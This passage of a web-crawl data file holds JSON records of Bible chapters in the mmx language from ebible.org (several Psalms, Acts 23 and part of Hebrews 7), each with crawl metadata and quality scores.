Silok. 26 Kuren la neni ga xaape rinedi mi luruturun do ni naba lok nedi dina remet to at lamatbin. 27 La na lok livipisik li atdi, dina epeseves ti levenabung mixin petpes la na ke xepe nedi, dina remet etaba onon to at levennep silok petpes.\n28 Melemu nedi limixin at ne Moroa digak lok to Pior, diga lotu saparap lomoroa xaxarang ne Baal la digara anan leventamtaba digap lavang min ti lenmoroa kopmen torooro atdi. 29 Kuren la diga lox axatu lebelemamao at Leeme Silok mi leventuptuvuk kapmek atdi, la langsangan lanmeres kapmek ga vot kantubu atdi. 30 Ketla ne Penias ga ru upana la ga sev amet mo luradi xapmek la mo lanmeres ga xap ta. 31 Na lavanga avukat, ne Penias ga lox i, move limixin at ne Moroa dim doma i. La dinabam doma su bok teren at na levenaleng i tu umelamgo.\n32 Melemu diga lox amusak Leeme Silok to Meriba at levempuuvut dan. La ne Moses ga xip tutu mi mo lumumuat mumu laxakapmek atdi. 33 Diga lox abelemamao aleng i, kuren la ni ga paase solo la ga paase tupgat ta.\nLeme Israel Diga Rupot To At Lenep Kangka Ramtaba\n34 Leme Israel di goxo sev amet lavamolon ap lenep kangka ramtaba kerekngan Leeme Silok ga tong taba di min ti lox i. 35 Ketla diga epot ka di, la diga reven seo ka loklok benben atdi. 36 Limixin at ne Moroa diga lotu parap laxampoovo vanga, kuren la diga oon at levesin mumu mo loklok atdi. 37 Digam taba mi laxamdak mi laxaalik atdi, ngan laplavang atdi ri levenmoroa xaxarang me Kanan. 38 Diga sev amet mo laxamdak mi laxaalik ua kopmen taxakapmek atdi, la mumu mun mo langas diga lox abilinga mo lenep kangka ramtaba. 39 La kerepmo bok diga lox abilinga nedi xa. Digoxo ruturun ti ne Moroa.\n40 Kuren la Leeme Silok ga belemamao aleng limixin teren, neni ga bulunga xepe rino di. 41 La neni ga raba rulu kepe di kusu lavamolon, limixin munepen minedi limixin me Israel dinabam gomgonga di. 42 Diga baava aleng mi levenaknixip, mo limixin munepen midi diga raba nedi min. La diga nemen aleng maxopok at lolos at levendoxoma atnedi limixin munepen. 43 Buaang levenaleng Leeme Silok ga rebeng asu ka limixin teren basinge di. Ketla move digang tonga xepe levelinga ren, la digam subu tup tino ukeneng at laxakapmek silok. 44 Ketla Leeme Silok ga ronga nedi, at loxonaleng digang teng tin, la neni ga ronga xibis lumumuat atdi. 45 Mumu mo lumumuat atdi, neni ga doma mo lekabus teren. La mumu langsangan labalamu ren, neni ga lox ekun lodoxoma ren. 46 La neni ga lok limixin munepen midi, diga suma xapmek mumu loklok diga lox i ridi.\n47 O Leeme Silok ne Moroa atnama. Lox asepsu nama, la una lam asu nama boro xantubu at na larabung mixin, kusu maba tong avukat tu la mana emi asu mi laasen kaala ram. 48 Leemi asu ri Leeme Silok, Moroa me Israel. Leemi asu rin monga la at levenaleng axap. La limixin axap dina vaase xeretna, \"Tuturun!\" Leemi asu ri Leeme Silok!","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA106.htm","date":"2022-05-16T06:26:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662509990.19\/warc\/CC-MAIN-20220516041337-20220516071337-00701.warc.gz","language":"mmx","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.000009536743164}","num_words":1061,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.344,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"66\nLoxompixan Emi Asu Mi Lorotong Avukat\n1 Nemi axap limixin, mina emi asu mi ne Moroa mi luxupkup momo! 2 Minak pixan ti lox aurut laasen teren la mina tong asu leemi asu i nunuan aleng tin! 3 Mina tong i ri ne Moroa xeretna, \"Levempanga uk lox i, i nunuan aleng! Lolos taram i silok aleng, kuren la limixin munepen minu di xis tintiding to melamgo ram mi lanmarat. 4 Limixin axap at lavatbung menemen di lotu saparav u. Dik pixan emi asu saparav u, dik pixan emi asu ri laasen taram.\"\n5 Nemi limixin, ude nimi, la mina ven levempanga ne Moroa gak lox i. Ni gak lok leveloklok sangsangu ren kantubu at limixin. 6 Ni ga lox arepukus Loxontas Memele ga ngan ta laxangka mesemes. Melemu lavalabat atnedik diga vas korop lavatdan sen silok mi lengkangkedek mene. Ap mo loxot diga lok momo mi mo lavanga ni ga lox i. 7 Lixitkis amgomgo ren naba nemen amisik mi lolos teren, la ni i reven tatao larabung mixin axap. La neni noxo ke xepe limixin tongtonga xepe dina lox asilok di mavana ren.\n8 Nemi limixin at larabung mixin axap, mina emi asu mi ne Moroa atnedik, mina emi asu silok min. 9 Neni ga lok tatao lorooro atdik basinge laniu, la ni xopmen goxo ke limixin munepen midik gita sak tup midik.\n10 Moroa, uga lok li nema at loklok tong pen, i ngan lisiliva laxao i aan adatdar i. Kerepmo ura lok tong pen pam nema. 11 Uga ke nema la maga subu tup at lemet diga sep li rangais nama min la uga lok li levenaknixip mumuat pana at levenantuno nama. 12 Uga ke xepe limixin munepen minema diga vas asi nama. Magat pas keneng at laxao silok mi ladanut. Ketla nanga ura lok kaka nema uto at loxot ua manaba nemen matmatkun maxopok at loklok tatao ram.\n13 Nia anaba lok kaka levelaplavang ti kotos uto at loogu ram. Anabam taba u mi leven tamtaba nia aga xaape min tu. 14 Nia anaba raba u mi levempanga nia aga tong i do anaba raba u min, at levenaleng nia aga nemen keneng at lumumuat. 15 Anabam taba u mi levesipsip, kusu ti xotos i ro at loxonin laplavang. Anabaplavang mi levenbulumaxao remes la levenme, la losobu ren naba urut uto vana at lamavangkap.\n16 Nemi mim taba asinorong ne Moroa, ude nimi, la mina ronga i na. Nia ana tong asu axap nom levempanga ni gak lox i ria. 17 Agang teng tin ti loklok tooro, nia agak pixan emi asu min. 18 Dola lorooro rak gi umsu mi laxakapmek, Leeme Silok gixo ronga rak. 19 Ketla i ruturun tinotno do ne Moroa ira ronga vam ia, ira ronga res pam at lisingising tarak.\n20 Nia a emi asu mi ne Moroa, atla ni xopmen nak sox sisixe lisingising tarak, kopla ni na rebeng alis labalamu lexen teren tia.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA066.htm","date":"2022-05-16T05:12:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662509990.19\/warc\/CC-MAIN-20220516041337-20220516071337-00726.warc.gz","language":"mmx","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"mmx_Latn_score\": 1.0000090599060059}","num_words":465,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.247,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"65\nLeemi Asu Mi Laramtaba Rotong Avukat\n1 O Moroa, ik mokso xusu mana emi asu minu ro Saion, la mana doma xatling leveng kakaape atnema ru, 2 atla up sep siam at levesing atnema. Limixin at levengkot axap dinaba vot pasa u. 3 Loklok kakapmek atnema i sev asubu nema, ketla nenu u doxoma xepe i. 4 Nedi nom una soxolik ka di, dina momo. U lok kaka nedi xusu dina nemen to at loogu xaala ram. Manabat kis mimila at levempanga nunuan keneng at loogu ram eburu mi leveloklox anarong at loogu laplavang taram i xaala. Mo naba lox epovo lavavara atnema.\n5 Up sep siam at levesingising atnama mo do um taba nema mi lolos ti sak tup mi limixin munepen minema. La uk lok bok levempanga nunuan ti lox asepsu nema. Limixin at levengkot axap at na lavatbung menemen la at levennep tas paxalom bok di nunu saga ram. 6 Uga vaxaxis lempattaavut mi lolos taram, la kerepmo uga lox asuusu lolos silok taram. 7 Uk lox amila leretepit at laras mi lulung at levempo paxanao, la uk lox axap bok levenekarakat at limixin. 8 Limixin at lavatbung menemen axap ding sangu aleng mumu levempanga ugak lox i. Leven gugu ram i lox asu luxupkup momo boro at lara lenep kavaxap at lavatbung menemen uto at lara lenep.\n9 Nenu uk lox asuusu loklok tatao ram ti laxangka, uk lox asi larabet tik lox ababaum laxangka kusu larauna na pisik avukat. Nenu uk suxa aumsu laradan sen mi levengkadan la um taba lavatbung menemen mi levempanga anan. Uk lox i xeretna. 10 Up sep bet avukat ti leventaamang, la uk lox amlu laxangka mi levendan bet. U lox amumulum laxangka mi limisimisi bet la i lox asuusu larauna maxat. 11 Loklok taram i nunuan kuren la um taba aleng levempanga anan mukun avukat. At levengkot axap ut pas teren, i umsu mi laxampanga anan. 12 Ap mo levengkot laxampanga mi lavanuet kangkedek, di umsu ro at levengkot anan atdi, la limixin di nemen at laxasigege kaana di umsu mi lososoro. 13 Levengkot loklok tatao levempanga mi lavanuet kangkedek i umsu mi laxasipsip. To at larasa i umsu mi laxam piao. Levempanga axap i nunuan aleng la limixin dip kup la dik pixan momo.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA065.htm","date":"2022-05-16T11:15:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662510117.12\/warc\/CC-MAIN-20220516104933-20220516134933-00405.warc.gz","language":"mmx","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000090599060059}","num_words":363,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.211,"stopwords_ratio":0.264,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"91\nMoroa Lurutu See Pe Atnedik\n1 Nege it kis esogo eburu mi Leeme Silok, la ik lok maxopok at loklox aratao at Lanaraavuk, 2 i epovo xusu dina tong i rin keretna, \"Nenu Lentupe ria la Lurutu See Pe rak. Nenu ne Moroa rak, la nia a nunu saga ram.\" 3 Neni naba lox asepsu u basinge levempanga sepsep mo ik lox alipe la basinge bok levenanmeres sepsev amet. 4 Neni naba kok u mi luvapa ren, la unabak lox avukat keneng at loklok tatao ren. Neni i ruturun ti limixin teren, kuren la ni naba lok tatao la na tu banpe u. 5 Unoxo marat at tepanga sepsep at laxanimin kopla limixin sepsep diba vot soso mun at laxangking, 6 kopla tevenanmeres kapmek na lutpot at laxanimin kopla mo lubung gas kapmek dip sep at lengkangking.\n7 Tegesa abin sangaun kobot giba met mun go saparav u, la legesa sangaun larabin sangaun kobot go xangkan u, ketla dixo epovo ba ri lok kapmek tekot taram. 8 Unabak milik kaxat la una reven ba i mo limixin kapmek dik lok ka levesongsongot kuren.\n9 Ura siam ka vam Leeme Silok i ngan Lentupe ru. Ni Leeme Avolo i ngan Lurutu See Pe ru. 10 Kuren la ba xopmen bok ba tumumuat naba sak pavaa u, la tempanga loklox asongot nat pot saparap laraogu aulis taram. 11 Moroa naba lok li lubung angelo ren kusu dinabak lok tatao u, la kusu dinabak lok see ram at levengkot axap unat pas teren. 12 Dinaba rebeng aurur u mi lengkikngen di xusu tuuat noxo lox asongot tekot at luxangkedek taram. 13 Unabat pas povorok asi lempatlaion mi lempat sii, mo lempatlaion atat la lempat sii mamao.\n14 Moroa i vaase xeretna, \"Nia anaba lox asepsu mo lara i vavara aleng ia la anaba lok see ap mo lara ua i ven kibis ia do nenia Leeme Silok. 15 At loxonaleng ni na ro ke rak, anaba sep siam at levesingising teren. Do ni na ekip tangarang mi levenmumuat, anabak lok eburu min kusu ti lok tooro i. Anaba lox asepmus i basinge mo levenmumuat la ana xip aurut laasen atdi. 16 Anaba lox anarong i mi lorooro abao, la anabak lox asepmus i at levenmumuat.\"","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA091.htm","date":"2022-05-16T11:36:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662510117.12\/warc\/CC-MAIN-20220516104933-20220516134933-00174.warc.gz","language":"mmx","language_score":1.0000058413,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"mmx_Latn_score\": 1.000005841255188}","num_words":356,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.256,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"122\nLeemi Asu Ri Lemenemen Silok Jerusalem\n1 Aga momo aleng atla diga lok tia, \"Uto dik at loogu at Leeme Silok.\" 2 La ananga nedik tara vubeles pam at langas povolo la tara tu nga ro xeneng at lemenemen silok Jerusalem.\n3 Diga vaxaru li amu na lemenemen ngan lemenemen silok la diga penbixa avukat tinotno i. 4 La nedi larabibinat me Israel dit pas pot de. Nedi dit pas kusu dina tong avukat ti Leeme Silok, kerekngan mo levempapaase ali Leeme Silok ga raba di min. 5 Nade lavaorong boro Israel digat kis at lengkonin orong atdi xusu dinang tonga linga at limixin.\n6 Nemi mina sing kusu limila nak lok to lemenemen Jerusalem keretna, \"Nedi di vavara aleng na lemenemen, dina ngasang kobot. 7 I epovo bok do limila nak lok keneng at na lemenemen la Leeme Silok na lok tatao avukat limixin keneng at laraogu silok atdi.\" 8 Nia a lok lisingising mumu lemenemen Jerusalem keretna, \"Limila nak lok keneng teren.\" Ak lox i xerepmo kusu lentaba rak la larapentangas tarak dinaban tuuna lorooro nunuan. 9 Nia a sing bok Leeme Silok kusu nemi limixin mego mina sang kobot avukat atla loogu at Leeme Silok ne Moroa atdik ik lok go.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA122.htm","date":"2022-05-16T04:42:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662509990.19\/warc\/CC-MAIN-20220516041337-20220516071337-00119.warc.gz","language":"mmx","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000087022781372}","num_words":195,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.221,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"23\n1 * Gu 24:16Pol ga sok katli ka luvuttadi silok la ga lok tidi, \"Luvutnetak. Luruptuvuk tarak i lox avukat axap at lemeren ne Moroa, ise at na laaleng lingina.\" 2 * Jo 18:22-23Ketla lamaasa gomgo ne Ananias ga tong i ridi luvuttadi diga tu auret ne Pol do dina vasa lungusno ren. 3 * Mt 23:27Pol ga lok tin, \"Moroa naba vasa u, nenu u ngan ta laxapla ro maxamang i nunuan la to xeneng it pospa xapmek tinotno! Ut kis de xusu una mumu asu Laulis Linga at ne Moroa la una ronga linga rak. Ketla nenu xa u los polo Laulis Linga at ne Moroa la ura tong i ridi do dina vasa ia!\"\n4 Mo luvuttadi diga tu saparap ne Pol diga lok tin, \"Nenu u paase kapmek ti lamaasa gomgo at ne Moroa!\"\n5 * Pas 22:28Pol ga vorang i ridi, \"Luvutnetak, nia axoklen i do neni lamaasa gomgo. Levelinga ik lok to xeneng at Lovoang Kaala i lok keretna, 'U noxo vaase kapmek ti laradi gomgo at limixin.' \"\n6 * Gu 4:2; 24:15,21; 26:5La ne Pol ga ven i do lentaba atdi na limixin nedi lubung Sadiusi la lentaba bok atdi nedi lubung Parisi, la ni ga vaase silok tinedi luvuttadi, \"Luvutnetak, nenia la Parisi, la ne tamak bok, neni la Parisi. A tu at lavapaase mila nia aklen i do ne Moroa naba lox arooro amlong nedi diga met pam.\" 7 Diga ronga i na, la lubung Parisi mi lubung Sadiusi diga edak kaxat, la diga epeseves ti legepu binam tadi. 8 * Mt 22:23Mila lubung Sadiusi dik lok do limixin di noxo roo xat amlong basinge lanmet, la do kopmen tubung angelo mi labaroonan. Ketla lubung Parisi di nunu at na lavantun lempanga.\n9 * Gu 25:25Luxupkup go ga silok la lentaba luvuttadi loklox ase at Laulis Linga, nedi at lenep at lubung Parisi diga xatu kaxat la diga vaase lolos, \"Maxo vuse ka tavanga i lok kapmek at na laradi. Agut loroonan at na lorooro xopla laangelo mo ga paase rin!\" 10 Mo leedak ga lolos tinotno la leeme gomgo at limixin esep ga marat do limixin dina etep mi ne Pol la dina sev amer i. Kuren la ni ga tong i ri luvuttadi esep do dinat pas uto saparap mo limixin la dina lam ka ne Pol basinge di, la dina lok li i ro at loogu matmatkun.\n11 * Gu 18:9; 19:21; 27:24; 28:16,23Ap mo laxanimin Leeme Silok ga ru saparap ne Pol la ga lok, \"Una lolos! Ura tong asu vam levelinga rak nade Jerusalem, la unaba tong asu box i ro Rom.\"\nLeme Judaia Diga Tong Li Langas Ti Sev Amet Ne Pol\n12 Ga maxantamak suubu ap mo lara laaleng melemu, lentaba at leme Judaia diga rupot buru la diga tong li levempapaase. Diga xaape ri ne Moroa do di noxo an tempanga anan la di noxo in taxadan se dina sev amet ne Pol. 13 Nedi axap diga epovo at lavanuet sangaun mo diga lok na lavapaase ri sev amet ne Pol. 14 Kuren la diga vot pasa lavamaasa silok la loxongkulao silok la diga lok tidi, \"Mara lok pam laxakaape saparap ne Moroa do nema axap ma noxo anan tempanga anan la ma noxo in taxadan se manaba sev amet ne Pol. 15 * Gu 25:3Monga nemi eburu mi luvuttadi amgomgo mina lox aonon tevelinga ri leeme gomgo at limixin esep boro Rom kusu na lok taba nimi mi ne Pol. Mina xarang i dola mi vara i xusu mina ronga levelinga ruturun mumu i. Ketla nema manaba nemen gagas go mun auret ti sev amer i, mo neni xovisi noxo rupot nade.\"\n16 Ketla lisixilik at ne Pol ga ronga mo lodoxoma gagas atdi. Kuren la ni gat pas la ga beles to xeneng ap mo loogu matmatkun la ga tong na levelinga ri ne Pol.\n17 Kuren la ne Pol ga ro xaka lara laasesep la ga lok tin, \"Una lok ka na laau radi uto at leeme gomgo. Neni i ruuna levelinga xusu na tong i rin.\" 18 Mo laasesep ga lam ka i uto at leeme gomgo at la ga lok, \"Laradi xokoxo ne Pol i xup kaka ia la i sing ia xusu ana lam ka na laau radi ude saparav u, mila neni i ruuna levelinga xusu na tong i ru.\"\n19 Leeme gomgo ga ranga tu at lekngen la ga lam ka i uto at loxot mimila la ga sue i, \"Laai mo nu u lok do una tong i ria?\"\n20 La ni ga lok, \"Leme Judaia di siam do dinaba sue u kantamak kusu una lok ka ne Pol uto saparap nedi axap luvuttadi amgomgo. Dinaba xarang i dola luvuttadi amgomgo di vara i do dina ronga levelinga ruturun mumu i. 21 Ketla nemen uta ronga res atdi, mila i vanuet sangaun la i soxope asu lenep bok mo dinaba lipe tangais i. Dira lok pam laxakaape saparap ne Moroa do di noxo anan tempanga anan la di noxo in taxadan, se dinaba sev amet ne Pol. Monga di gagas ti lox i, la di ngangais linga mun taram.\"\n22 Leeme gomgo ga lok, \"Nemen uta tong i na ri tara do nenu ura tong pam i ria.\" La ni ga sak tiki aonon i uto.\nLeeme Gomgo Ga Lox Aonon Ne Pol Uto Saparap Ne Pelik\n23 Leeme gomgo at luvuttadi esep ga ro xaka luasesep teren la ga lok tidu, \"Muna lox agagas li tegepu sangaun kobot (200) luvuttadi esep la minat pas uto Sisaria, eburu mi lavanuti sangaun luvuttadi esep no dit kis at lemparos, la legepu sangaun kobot (200) luvuttadi esep mi levesoso. Mina gagas ti vas kaxat at lavasik konaleng at laxanimin. 24 Mina lox agagas li bok temparos tip kip ne Pol la lempanga ren, la mina lok ka atnaasan i uto saparap laradi gomgo ne Pelik.\"\n25 Kuren la leeme gomgo at luvuttadi esep ga malagan levelinga ga lok keretna,\n26 \"Nenia ne Kolodias Lisias. Nia a malagan na levelinga ru laradi gomgo ne Pelik ma lok ngangao rino ram. Nia a lox aonon lavapaase momo ru. 27 * Gu 21:30-33; 22:25-27Leme Judaia diga ranga alis na laradi la diga lok do dina sev amer i. Agaklen ka ba i do na laradi neni lanat boro Rom. Kuren la nenia atat pas itinongo eburu mi luvuttadi esep tarak la mata lox aroo su i basinge di. 28 * Gu 22:30Ata vara i do anaklen tinotno ua lavasuun at lumukmusak atdi rin. Kuren la nia ata lam ka i uto saparap luvuttadi amgomgo axap atdi. 29 * Gu 18:14-15Nia ata long lenger i do ni xopmen toxo lok tepanga xapmek kusu ni naba met nov i xopla ana lok li i at loogu xokoxo. Lelinga dita lok li rin mumu mene Laulis Linga atdi. 30 * Gu 24:5-8La lelinga i rupot tia do lentaba me Judaia mo di tong li leventaangas do ri sev amer i. Kuren la mo a lox aonon soso i udom saparav u. Aba tong i ridi do dina lok li i at lavapaase ro melamgo ram.\"\n31 Luvuttadi esep diga lox epovo levelinga at leeme gomgo. Diga lam ka ne Pol la diga emu eburu min ap mo laxanimin uto vaxalom at lemenemen Antipatris. 32 Ap mo lara laaleng melemu, nedi luvuttadi esep mo digat pas at laxangka, digamlong uto at loogu matmatkun. Diga on basinge no limixin mi lemparos kusu dina emu mi ne Pol. 33 Diga lam ka i uto Sisaria la diga raba lovoang mi levelinga loklox axasep ti laradi gomgo ne Pelik, la diga lok li ne Pol saparav i. 34 Laradi gomgo ga exes mo levelinga la ga sue ne Pol do ni meva. La ni ga ronga i do neni boro Silisia. 35 La ni ga lok tin, \"Nia aba ronga linga ram at laaleng mo luvuttadi di lok li u at lavapaase dina rupot.\" Kuren la ni ga tong i ri limixin loklok tatao do dina lok tatao ne Pol to at loogu nunuan at ne Erodes.\n*23:5: Pas 22:28","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/ACT23.htm","date":"2022-05-22T14:59:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662545548.56\/warc\/CC-MAIN-20220522125835-20220522155835-00181.warc.gz","language":"mmx","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"mmx_Latn_score\": 1.0000087022781372}","num_words":1286,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.328,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"138\nLisingising Ti Tong Avukat\n1 Nenia a tong avukat tu Leeme Silok mi labalak axap tarak. A vixan emi asu ru ro melamgo at leven moroa axap. 2 A ru gili ri loogu laplavang taram i xaala. La a rikbu emi asu mi laasen taram mumu labalamu lexen la loklok tuturun taram tia. La a emi asu minu atla uga lox asuusu i do laasen taram i silok pologat la levelinga ram i silok aleng la duk lok mavana at lempanga axap at na lavatbung menemen. 3 Uga ronga res tarak at loxonaleng aga ro ke ram, la uga lox alolos ia mi lolos taram.\n4 Leeme Silok, lavaorong axap at lavatbung menemen dinaba emi asu minu, atla digara ronga vam leveng kakaape ram. 5 Dinabak pixan mumu lempanga ugara lok pam i la mumu laasen silok taram. 6 Keke i do nenu u silok polo lempanga axap, ketla uk lok tatao luvuttadi gamasa de xopok. Ketla limixin loklox aaso nenu u nemen paxalom basinge di.\n7 At levenaleng levenmumuat i tu kangkan ia, nenu uk lok tatao lorooro rak. Nenu up sep tangarang limixin munepen minia, di belemamao ia, la uk lox asepsu ia mi lolos taram. 8 Nenu naba lox epovo lempanga uga xaape min tia. Leeme Silok, labalamu ram naba nemen lexen. Una lox epovo axap ta mo lugugu ua ugara vaxaru kaxat pam i.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA138.htm","date":"2022-05-16T04:28:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662509990.19\/warc\/CC-MAIN-20220516041337-20220516071337-00796.warc.gz","language":"mmx","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000097751617432}","num_words":220,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.2,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"7\nMelkisedek Neni Lamaasa\n1 * Lur 14:17-20Na leeme ne Melkisedek, gano neni loorong to Salem la neni lamaasa at Leeme Avolo ne Moroa. Neni ga ekip tangarang mi ne Abaram at laaleng ne Abaram eburu mi limixin teren digamlong boro at leesep no diga sep kepe leventaba lavaorong la limixin atdi. La ne Melkisedek ga lox anarong i. 2 La ne Abaram ga raba ne Melkisedek mi loxot i sev asangaun ap mo levempanga neni ga lok kaka i ap mo lavaorong.\nAvot, lavasuun at laasen ne Melkisedek do, \"Loorong at loklok manmanton.\" La laasen bok do loorong boro Salem i epovo mi levelinga xeretna, \"Loorong at lenmila.\" 3 * Sam 110:4Nedik kopmen ataklen leretere at ne temen mi nenen la leretere at lavalabat teren, la dik taxoklen i do diga visix i la ni ga met lingisa. La kerepmo Nitna ne Moroa i lok ngan ne Melkisedek, mo i nemen amisik ngan lamaasa.\n4 Mina doma i do ne Melkisedek ga silok aleng. Ataklen i do neni ga silok mila ne Abaram, temen nedi lubung mixin me Israel ga raba i mi loxot i sev asangaun ap mo levempanga ni ga lok kaka i at laaleng neni ga esep eburu mi lavaorong. Mo loxot ga lox avukat aleng. 5 * Kex 18:21Laulis Linga i tong i do livipisik li at ne Levi mo digap kip lugugu ngan lavamaasa, dinak lok ka loxot i sev asangaun boro xa at limixin atdi, keke i do nedi axap mun livipisik li at ne Abaram. 6 Na laradi ne Melkisedek, neni goxopmen livisik li at ne Levi, ketla neni ga lok ka loxot i sev asangaun boro ap mo lempanga ne Abaram ga lok ka i ap mo lavaorong. Ni mo lara ga ruuna ka lavapaase ali boro at ne Moroa. Ni lavasuun teren la ne Melkisedek ga lox anarong i. 7 La i ruturun aleng do lara i silok, neni na lox anarong mo lara i lixilik tin. La kerepmo ne Melkisedek ga silok ti ne Abaram.\n8 La nedi limixin me Israel diga raba loxot i sev asangaun ti lavamaasa. Mo lavamaasa di goxo rooro amisik, ketla ne Melkisedek nedik kopmen ataklen i do neni ga met, limixin di lok do move i rooro. 9 I epovo na tong i do ne Levi la lavamaasa melemu ren, dik lok kaka loxot i sev asangaun boro at limixin me Israel. Nedi xopmen na silok ti ne Melkisedek, mila lurubuno di ne Abaram ga raba ne Melkisedek mi loxot i sev asangaun. 10 I epovo ana tong i xuren mila ap mo laaleng ne Abaram ga raba ne Melkisedek mi loxot i sev asangaun, i lok ngan ta do ne Levi mi lavamaasa melemu ren diga raba ne Melkisedek mi loxot i sev asangaun, keke i do luvutnen di goxovisi na visik di.\nIesu Neni Lamaasa Ngan Ne Melkisedek\n11 Limixin me Israel di goxo epovo do dinan manton tino basinge laxakapmek mila xopmen di goxo epovo xusu dina mu asu rinotno leventaangas la levelinga at lavamaasa mo digak lok at libibinat at ne Levi. Mo leventaangas, ni lavasuun at Laulis Linga, ne Moroa ga raba limixin me Israel min. Kuren la limixin digak pakes ti lamaasa vetpes kusu na vot, la giba lok ngan ne Melkisedek. Neni gitoxo lok ngan ne Aron mi lavamaasa at libibinat at ne Levi.\n12 La ne Moroa ga soxolik ka Lamaasa vetpes kusu na lox adadat limixin basinge laxakapmek. Kuren la neni ga lox ekun Laulis Linga mi lekabus maxat, mila do tara na lox ekun leventaangas at lavamaasa, neni na lox ekun bok Laulis Linga. 13 La mo Lamaasa vetpes, neni ne Iesu la neni at libibinat petpes la goxopmen tara ap mo libibinat ga ruuna ka lugugu ngan lamaasa. 14 * Lur 49:10; Ais 11:1; Mt 2:6; Li 5:5I xasep do Leeme Silok atdik, neni at libibinat at ne Juda, la ne Moses kopmen goxo tong i do teventaba at na libibinat naba ravasu ngan lavamaasa.\n15 La levelinga atnama mumu lekabus maxat i xasep aleng mila lamaasa vetpes kerekngan ne Melkisedek gara vot pam. 16 Laulis Linga i tong i do, nedi mun at libibinat at ne Levi, di epovo xusu dina xip ka lugugu ngan lavamaasa. Ketla ne Iesu ga lok ka mo lugugu at langas petpes. Neni ga lok ka i mila neni ga ruuna lolos silok la kopmen taxavaxap at lorooro ren. 17 * Ib 5:6I lok ngan ne Moroa ga tong i at Lovoang Kaala, levelinga ren i lok keretna,\n\"Nenu unaba nemen amisik ngan lamaasa kerekngan ne Melkisedek.\" Sam 110:4\n18 Moroa ga vaxaxis ase Laulis Linga at ne Moses mila goxopmen ta tololos teren la kopmen ta goxo epovo ri lok tooro limixin. 19 * Ib 9:9Laulis Linga xopmen goxo epovo na lox adadat limixin basinge laxakapmek. La ne Moroa ga lok li langas maxat, i lox avukat ti Laulis Linga la maxeneng ap mo langas maxat, i epovo do tana xis esogo mi ne Moroa.\n20 La ne Moroa ga vangpe do ne Iesu na xip ka lugugu at lamaasa, ketla ne Aron la lavamaasa melemu ren diga xip ka mo lugugu. Ketla goxopmen tavangpangpe at ne Moroa ridi. 21 * Ib 5:6Ketla ne Moroa ga vangpe do ne Iesu na lok ka lugugu ngan lamaasa at laaleng ne Moroa ga lok tin keretna,\n\" 'Nenu unaba nemen amisik ngan Lamaasa.' Leeme Silok ne Moroa ga vangpe vam kuren, la neni noxo lox ekun lodoxoma ren.\" Sam 110:4\n22 * Ib 8:6; 12:24Moroa ga vangpe xerepmo, kuren la ne Iesu neni i lok ngan losoksoxoba pe ri lekabus maxat, mo i nunuan aleng ti Laulis Linga.\n23 Buaang atnedi lavamaasa amgomgo diga lok lugugu mila diga vekukun mi lugugu do lara ga met. 24 Ketla ne Iesu, kopmen taxavaxap at lorooro ren la kerepmo neni nabak lox amisik lugugu at lamaasa. 25 * Ro 8:34Kuren la neni i epovo na lox arooro rinotno nedi di vot pasa ne Moroa, mo do dina sep sogo at ne Iesu mi lununu. Mila ne Iesu i nemen amisik saparap ne Moroa la i ngising i xusu na lok tooro di.\n26 * Ib 3:1Lamaasa gomgo xerepmo i lox epovo lavakpakes atdik. Luruptuvuk teren in manton tino, neni xopmen 